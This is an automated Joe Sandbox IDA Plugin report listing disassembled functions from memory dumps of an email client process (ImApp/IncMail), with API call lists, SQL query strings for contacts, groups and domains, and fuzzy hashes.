Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2311#776#896#899
String ID: AND DomainName LIKE '%s%%'$ ORDER BY Popularity DESC, DomainName COLLATE NOCASE ASC$ProviderID$SELECT DomainName FROM Domains WHERE ProviderID=:ProviderID
API String ID: 3410042783-2252046750
Opcode ID: 2f2dbbffa7f358498217d890cd10b0dcb331fee43e1ff5c6182fb0c3bf162e80
Instruction ID: 8492e205470c01cc85cebdf7eb48af8501e430f6b0d1ddb8a1d1c8ba878bf7f6
Opcode Fuzzy Hash: 2f2dbbffa7f358498217d890cd10b0dcb331fee43e1ff5c6182fb0c3bf162e80
Instruction Fuzzy Hash: A33189725887848FD300DF25D848B9BBBE5BBD4700F04091DF69683290EB75A908CB93

Function 020CA7E0 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

#762.MFC80U(00000038,265105E4), ref: 020CA818
#310.MFC80U(?,?,?), ref: 020CA882
#2311.MFC80U(?,SELECT GroupsMembers.GroupID, MemberType, MemberID, DisplayName AS MemberName%s FROM GroupsMembers, Contacts WHERE GroupsMembers.G,?,?,?,?,?,?), ref: 020CA8A7
#20.IMDBU ref: 020CA8B4
#12.IMDBU(?,?,00000001), ref: 020CA8D4
#19.IMDBU(?,?,00000001), ref: 020CA8E5
#6735.MFC80U(020F1B94,?,00000000,?,?,00000001), ref: 020CA902
#16.IMDBU(00000008,00000000,?,?,?,?,?,00000000,?,?,00000001), ref: 020CA95C
#578.MFC80U(00000008,00000000,?,?,?,?,?,00000000,?,?,00000001), ref: 020CA96D
#578.MFC80U(?,?,?,00000000,?,?,00000001), ref: 020CA97C
#578.MFC80U(?,?,?,00000000,?,?,00000001), ref: 020CA98B

Strings

SELECT GroupsMembers.GroupID, MemberType, MemberID, DisplayName AS MemberName%s FROM GroupsMembers, Contacts WHERE GroupsMembers.G, xrefs: 020CA8A1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#2311#310#6735#762
String ID: SELECT GroupsMembers.GroupID, MemberType, MemberID, DisplayName AS MemberName%s FROM GroupsMembers, Contacts WHERE GroupsMembers.G
API String ID: 4036326131-1653610241
Opcode ID: e7c420860a64d9a64b223b064ce385c3549a194dcba54c57a36351505115278b
Instruction ID: 1eaf14b8c28a5ded30cfb30acf8e7eb26136d7e029a6686d4c93797f8c1da56f
Opcode Fuzzy Hash: e7c420860a64d9a64b223b064ce385c3549a194dcba54c57a36351505115278b
Instruction Fuzzy Hash: 3C61AC711493809FD321DF24C948B9FBBE4AF98B04F14491DFA8587251DB74A908CBA3

Function 020C97F0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,?,00000000), ref: 020C9826

Part of subcall function 020CA220: #310.MFC80U(265105E4,?,?,?,00000000,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA259
Part of subcall function 020CA220: #776.MFC80U(020F50E4,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA277

#2311.MFC80U(?,SELECT %s FROM Groups WHERE Name=:Name COLLATE NOCASE,?,?,?), ref: 020C9850
#10.IMDBU(?,Name,?), ref: 020C9877
#578.MFC80U ref: 020C988B
#578.MFC80U ref: 020C9899
#20.IMDBU(?,Name,?), ref: 020C98CC
#12.IMDBU(?,?,00000001), ref: 020C98E4
#19.IMDBU(?,?,00000001), ref: 020C98F5
#16.IMDBU(?,?,?,?,00000002,?,?,00000001), ref: 020C995A
#578.MFC80U(?,?,?,?,00000002,?,?,00000001), ref: 020C9968
#578.MFC80U(?,00000002,?,?,00000001), ref: 020C9976
#16.IMDBU(?,?,00000001), ref: 020C99A4
#578.MFC80U(?,?,00000001), ref: 020C99B2
#578.MFC80U ref: 020C99C0

Strings

SELECT %s FROM Groups WHERE Name=:Name COLLATE NOCASE, xrefs: 020C984A
Name, xrefs: 020C986C

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2311#776
String ID: Name$SELECT %s FROM Groups WHERE Name=:Name COLLATE NOCASE
API String ID: 3247927872-2656691551
Opcode ID: f3cfb4121ed144ce228c8f2774a355c94b1d6f5277eaac76a2d18c06d177a11f
Instruction ID: 6dba536454c9d7194fd607128c11e0547d7cc9c3b210f6d05e7af524276a3cae
Opcode Fuzzy Hash: f3cfb4121ed144ce228c8f2774a355c94b1d6f5277eaac76a2d18c06d177a11f
Instruction Fuzzy Hash: 34517F715487818FC324DF28C884BAEBBE5BFD9310F144A1DF69A87290DB349849DB53

Function 020C95F0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020C9626

Part of subcall function 020CA220: #310.MFC80U(265105E4,?,?,?,00000000,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA259
Part of subcall function 020CA220: #776.MFC80U(020F50E4,?,?,020EBB5A,000000FF,020C983C,?,?), ref: 020CA277

#2311.MFC80U(?,SELECT %s FROM Groups WHERE GroupID=:GroupID,?,?), ref: 020C9650
#9.IMDBU(?,GroupID,?), ref: 020C9674
#578.MFC80U ref: 020C9688
#578.MFC80U ref: 020C9696
#20.IMDBU(?,GroupID,?), ref: 020C96C3
#12.IMDBU(?,?,00000001), ref: 020C96DB
#19.IMDBU(?,?,00000001), ref: 020C96EC
#16.IMDBU(?,?,00000001,?,00000001,00000001,?,?,00000001), ref: 020C9744
#578.MFC80U(?,?,00000001,?,00000001,00000001,?,?,00000001), ref: 020C9752
#578.MFC80U(?,00000001,?,00000001,00000001,?,?,00000001), ref: 020C9760
#16.IMDBU(?,?,00000001), ref: 020C978B
#578.MFC80U(?,?,00000001), ref: 020C9799
#578.MFC80U ref: 020C97A7

Strings

GroupID, xrefs: 020C9669
SELECT %s FROM Groups WHERE GroupID=:GroupID, xrefs: 020C964A

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2311#776
String ID: GroupID$SELECT %s FROM Groups WHERE GroupID=:GroupID
API String ID: 3247927872-54128733
Opcode ID: c56e9f4501606b6447e5f75f6e0231ab61be55fe885aca88da35508171ef4ae4
Instruction ID: 57a573ddd6dbd6bd48fca4af75f5e24cb4c73be7fc3fb51fe9641e89df53c9ce
Opcode Fuzzy Hash: c56e9f4501606b6447e5f75f6e0231ab61be55fe885aca88da35508171ef4ae4
Instruction Fuzzy Hash: D0517E751483408FE310DF28D884B5EBBE5AFD8350F244A2DF596873A0D7749889CB93

Function 020C6A90 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,?), ref: 020C6AC6

Part of subcall function 020C8ED0: #310.MFC80U(265105E4,00008000,00008000,?,00000000,?,?,020EBB5A,000000FF,020C68DC,?,00008000), ref: 020C8F09
Part of subcall function 020C8ED0: #776.MFC80U(020F50E4,?,00000000,?,?,020EBB5A,000000FF,020C68DC,?,00008000), ref: 020C8F2B

#2311.MFC80U(?,SELECT %s FROM Contacts WHERE Email=:Email COLLATE NOCASE,?,?,?), ref: 020C6AF0
#10.IMDBU(?,Email,?), ref: 020C6B17
#578.MFC80U ref: 020C6B2B
#578.MFC80U ref: 020C6B39
#20.IMDBU(?,Email,?), ref: 020C6B6C
#12.IMDBU(?,?,00000001), ref: 020C6B84
#19.IMDBU(?,?,00000001), ref: 020C6B95
#16.IMDBU(?,?,?,?,00000008,?,?,00000001), ref: 020C6BFA
#578.MFC80U(?,?,?,?,00000008,?,?,00000001), ref: 020C6C08
#578.MFC80U(?,00000008,?,?,00000001), ref: 020C6C16
#16.IMDBU(?,?,00000001), ref: 020C6C44
#578.MFC80U(?,?,00000001), ref: 020C6C52
#578.MFC80U ref: 020C6C60

Strings

Email, xrefs: 020C6B0C
SELECT %s FROM Contacts WHERE Email=:Email COLLATE NOCASE, xrefs: 020C6AEA

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#2311#776
String ID: Email$SELECT %s FROM Contacts WHERE Email=:Email COLLATE NOCASE
API String ID: 3247927872-3977047463
Opcode ID: 96f967959b96db0390e78ae4bce82ce51addc5b2564a5f35484f7d12be9934b2
Instruction ID: ca5593a35cf7b434a112fb0044feec87a1c7be5179d60dbaacc9fefcea807b23
Opcode Fuzzy Hash: 96f967959b96db0390e78ae4bce82ce51addc5b2564a5f35484f7d12be9934b2
Instruction Fuzzy Hash: 0D515D715487818FC321DF28C884B9EBBE5BFD8310F144A1DF69687290DB35A84ADB53

Function 004090B0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 123COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004090D5
#314.MFC80U(00000000,FC8A6036), ref: 004090DF
#1916.IMUTILSU(HideModeLog,ImTray::CloseJunkFilterPro,HideModeLog,00000000), ref: 004090FD
#6751.MFC80U(00000000,?), ref: 00409138
#1916.IMUTILSU(HideModeLog,Unadvise JunkFilterProEvents,HideModeLog,00000000,00000000,FC8A6036), ref: 0040917A
#1194.MFC80U(?,00000000,FC8A6036), ref: 00409187
#678.IMUTILSU(?,?,?,?,?,00000000,FC8A6036), ref: 004091B8
VariantClear.OLEAUT32(?), ref: 004091CC
#1916.IMUTILSU(HideModeLog,CloseObject JunkFilterPro,HideModeLog,00000000), ref: 004091E3
#1916.IMUTILSU ref: 00409218
#6751.MFC80U(00000000,?), ref: 00409245

Strings

Release JunkFilterPro, xrefs: 00409204
CloseObject JunkFilterPro, xrefs: 004091D9
HideModeLog, xrefs: 004090EE, 004090F8, 0040916B, 00409175, 004091D4, 004091DE, 004091FF, 00409209
ImTray::CloseJunkFilterPro, xrefs: 004090F3
Unadvise JunkFilterProEvents, xrefs: 00409170

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$#6751$#1067#1194#314#678ClearVariant
String ID: CloseObject JunkFilterPro$HideModeLog$ImTray::CloseJunkFilterPro$Release JunkFilterPro$Unadvise JunkFilterProEvents
API String ID: 1491853450-3180062749
Opcode ID: 86e1796acd9a400347ee65f6082115ca2bc8f0df95ff41553e186d9b26817bab
Instruction ID: 93d00322cf604b77913e34fd53b1e774f33f41c4b711359fb369552be2f5994c
Opcode Fuzzy Hash: 86e1796acd9a400347ee65f6082115ca2bc8f0df95ff41553e186d9b26817bab
Instruction Fuzzy Hash: 92418970748301AFD314EF28D986B57B7E4EF84B14F50892EF4A497291D778E805CB5A

Function 020CC750 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 105COMMON

Download Yara Rule

APIs

#10.IMDBU(SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,265105E4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 020CC78A
#20.IMDBU(SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,DomainName,?,265105E4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 020CC79B
#12.IMDBU(SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,?,00000001), ref: 020CC7B6
#16.IMDBU(SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,?,00000001), ref: 020CC7CD
#19.IMDBU(SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,?,00000001), ref: 020CC7EB
#16.IMDBU(SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE,?,00000001), ref: 020CC800

Strings

SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE, xrefs: 020CC783, 020CC7AF
IncludeSubDomains, xrefs: 020CC872
DomainName, xrefs: 020CC77B
IsApproved, xrefs: 020CC822
DisplayName, xrefs: 020CC853

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DisplayName$DomainName$IncludeSubDomains$IsApproved$SELECT IsApproved, DisplayName, IncludeSubDomains FROM Domains WHERE DomainName=:DomainName COLLATE NOCASE
API String ID: 0-178314924
Opcode ID: 7a0a0cf7afeda922529a9def81a3f375aaa383fe23eda058788f3b75d91a4c0c
Instruction ID: a0d1e70df0c82ca08b9f3d3d3e8b240b2514a41396201adb8a04dd366ca50584
Opcode Fuzzy Hash: 7a0a0cf7afeda922529a9def81a3f375aaa383fe23eda058788f3b75d91a4c0c
Instruction Fuzzy Hash: AE41B1B12483418FE304DB24C895BAFB7E5AF84714F104A2DE856867D0EBB5D849DB52

Function 020E5560 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 100COMMON

Download Yara Rule

APIs

#20.IMDBU(265105E4), ref: 020E558B
#10.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E55AC
#12.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E55C3
#19.IMDBU(SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E55D0
#10.IMDBU(UPDATE Pictures SET ChangePictureRemotely = :ChangePictureRemotely WHERE ID = :ID,020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E55E6
#9.IMDBU(UPDATE Pictures SET ChangePictureRemotely = :ChangePictureRemotely WHERE ID = :ID,ChangePictureRemotely,?,UPDATE Pictures SET ChangePictureRemotely = :ChangePictureRemotely WHERE ID = :ID,020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),?,00000000,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5606
#10.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5629
#9.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),ChangePictureRemotely,?,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5645
#9.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),NoPicture,00000000,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),ChangePictureRemotely,?,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E565E
#8.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),00000001,00000000,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),NoPicture,00000000,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),ChangePictureRemotely,?,INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5674
#16.IMDBU(INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture),020FA300,?,SELECT * FROM Pictures WHERE (ID = :ID),020FA300,?), ref: 020E5687

Strings

UPDATE Pictures SET ChangePictureRemotely = :ChangePictureRemotely WHERE ID = :ID, xrefs: 020E55DF, 020E55FF, 020E5615
SELECT * FROM Pictures WHERE (ID = :ID), xrefs: 020E55A5, 020E55BC
INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture), xrefs: 020E5622, 020E563E, 020E5657, 020E566D
NoPicture, xrefs: 020E5652
ChangePictureRemotely, xrefs: 020E55FA, 020E5639

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ChangePictureRemotely$INSERT INTO Pictures VALUES(:ID,:ChangePictureRemotely,:NoPicture)$NoPicture$SELECT * FROM Pictures WHERE (ID = :ID)$UPDATE Pictures SET ChangePictureRemotely = :ChangePictureRemotely WHERE ID = :ID
API String ID: 0-26936308
Opcode ID: 5f1fa945a0305751d0b46a0963804452f9e0b1f2d2161a63cb76c716d8d92b06
Instruction ID: 760baac0bbe1370c2e9568c70cb407dc90957ca61e89a350174139284edaff99
Opcode Fuzzy Hash: 5f1fa945a0305751d0b46a0963804452f9e0b1f2d2161a63cb76c716d8d92b06
Instruction Fuzzy Hash: 6A31B371B817502FFA119624CDD1BAF77869BC4F28F414A18FA076F780EB94A881B791

Function 00419F40 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

#1079.MFC80U(FC8A6036), ref: 00419F73
#4.IMUTILSU(FC8A6036), ref: 00419F83
#1890.IMUTILSU(IncMail Main Window,?), ref: 00419F9F
#64.IMUTILSU(IncMail Main Window,?), ref: 00419FB9
#310.MFC80U(FC8A6036), ref: 00419FD2
#776.MFC80U(/inbox ), ref: 00419FF2
#1359.IMUTILSU(?,IncMail.exe,00000001), ref: 0041A004
#3391.MFC80U(00000000,00000001), ref: 0041A01E
#3391.MFC80U(00000000), ref: 0041A027
ShellExecuteW.SHELL32(00000000,open,00000000), ref: 0041A035
#578.MFC80U ref: 0041A047
#578.MFC80U ref: 0041A05C

Strings

/inbox , xrefs: 00419FE9
IncMail Main Window, xrefs: 00419F98
IncMail.exe, xrefs: 00419FFE
open, xrefs: 0041A02E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #3391#578$#1079#1359#1890#310#776ExecuteShell
String ID: /inbox $IncMail Main Window$IncMail.exe$open
API String ID: 2342372211-1555693658
Opcode ID: dfe75f1d0aeccacbcd4713f83f29e6544e9504529f552b8702ec2ec5cd72425b
Instruction ID: ec3ca3dff715089c0751ea0d64ff1da0e5aeea1db1952716d826f76f782c4f71
Opcode Fuzzy Hash: dfe75f1d0aeccacbcd4713f83f29e6544e9504529f552b8702ec2ec5cd72425b
Instruction Fuzzy Hash: 2131AF31308340AFC334EF10D919B9BBBA4EF94710F44052EF585862E1DBB85949C79B

Function 020CE720 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

#2261.MFC80U(020F183C,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE757
#3990.MFC80U(?,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE772
#774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE780
#578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE78F
#4100.MFC80U(?,-00000001,?,?,?,?,?,?,?,000000FF), ref: 020CE7A2
#2261.MFC80U(020F183C,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE7B8
#4100.MFC80U(?,00000001,?,?,?,?,?,?,?,000000FF), ref: 020CE7D2
#774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE7E1
#578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE7F0
#3990.MFC80U(?,00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE800
#774.MFC80U(00000000,?,?,?,?,?,?,?,000000FF), ref: 020CE810
#578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE81F
_wtoi.MSVCR80(265105E4,?,?,?,?,?,?,?,000000FF), ref: 020CE82A
#578.MFC80U(?,?,?,?,?,?,?,?,000000FF), ref: 020CE83F
#774.MFC80U(?,?,?,?,?,?,?,?,000000FF), ref: 020CE84E
#6161.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE856
#6161.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE85F
#578.MFC80U(?,?,?,?,?,?,?,000000FF), ref: 020CE871

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#774$#2261#3990#4100#6161$_wtoi
String ID:
API String ID: 2153093931-0
Opcode ID: 823fa1acc0b6abe1dc94603c6262a2cfa03f11080a9ec68cb2f027c6280544c7
Instruction ID: e9c451362525da510d93bcc866deb63a5a589ba21535fbeb2af3c6da700e938d
Opcode Fuzzy Hash: 823fa1acc0b6abe1dc94603c6262a2cfa03f11080a9ec68cb2f027c6280544c7
Instruction Fuzzy Hash: AF419175488341DFC344DF14D888B9AFBE4BB94314F148E1DF9AB82690DB34A61CCB92

Function 00403090 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 259COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004030B7
#314.MFC80U(00000000,FC8A6036), ref: 004030C1
#6735.MFC80U(?,00000000,FC8A6036), ref: 004030D5
#578.MFC80U ref: 004030FB
#6751.MFC80U(00000000,?), ref: 00403124
#578.MFC80U ref: 00403198
#3928.MFC80U ref: 00403215
#1220.MFC80U ref: 00403223
SysFreeString.OLEAUT32(00000000), ref: 0040323B
#1194.MFC80U(?), ref: 004032A5
VariantClear.OLEAUT32(?), ref: 004032F4
#681.IMUTILSU ref: 0040334C
#578.MFC80U ref: 0040335A
#6751.MFC80U(00000000,?), ref: 00403385

Strings

`Dvp=Dv, xrefs: 0040323B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #578$#6751$#1067#1194#1220#314#3928#6735#681ClearFreeStringVariant
String ID: `Dvp=Dv
API String ID: 477360520-288496917
Opcode ID: f7969188f7a89c72ef73b9b323db0c8c15ef17538ecf0a5343c037cb44327d1f
Instruction ID: 34b311af5a72758ead760d9bef6d569e1bf73c1a6dfeb81f7dd331790110e2ad
Opcode Fuzzy Hash: f7969188f7a89c72ef73b9b323db0c8c15ef17538ecf0a5343c037cb44327d1f
Instruction Fuzzy Hash: 5EA159312083019FC314DF69C884B5BBBE9AFC9304F24492EF585973A0DB79E946CB66

Function 020D9760 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 201COMMON

Download Yara Rule

APIs

#9.IMDBU(SELECT 1 FROM Contacts WHERE ContactID=:ContactID,ContactID,?,265105E4), ref: 020D97A4
#28.IMDBU(SELECT 1 FROM Contacts WHERE ContactID=:ContactID), ref: 020D97C3
_invalid_parameter_noinfo.MSVCR80(?,00000001), ref: 020D98C1
_invalid_parameter_noinfo.MSVCR80(SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020D98D8
_invalid_parameter_noinfo.MSVCR80(?,00000001), ref: 020D98EA
#9.IMDBU(SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,?,?,00000001), ref: 020D9905
#28.IMDBU(SELECT 1 FROM Groups WHERE GroupID=:GroupID,00000001,00000001,SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,00000000), ref: 020D9924
_invalid_parameter_noinfo.MSVCR80(SELECT 1 FROM Groups WHERE GroupID=:GroupID,00000001,00000001,SELECT 1 FROM Groups WHERE GroupID=:GroupID,GroupID,00000000), ref: 020D993B
